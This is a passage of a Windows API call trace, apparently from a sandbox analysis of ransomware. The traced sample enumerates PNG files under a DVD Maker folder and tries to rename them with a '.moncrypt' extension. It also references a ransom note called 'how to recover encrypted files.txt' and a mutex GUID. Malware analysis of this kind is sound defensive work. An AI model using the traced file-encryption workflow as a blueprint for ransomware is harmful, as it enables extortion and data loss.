lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png", cchWideChar=87, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 87 [0058.299] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.299] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.299] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.299] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.300] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.300] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.300] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0058.300] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.300] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.300] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.300] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.301] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.301] GlobalUnlock (hMem=0x44000c) returned 0 [0058.301] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.301] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.301] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.301] GlobalUnlock (hMem=0x44000c) returned 0 [0058.301] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.301] GlobalUnlock (hMem=0x440004) returned 0 [0058.301] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.301] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", cchWideChar=93, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 93 [0058.302] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.303] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.303] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.303] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.303] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.303] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0058.304] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.304] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.304] FileTimeToDosDateTime (in: 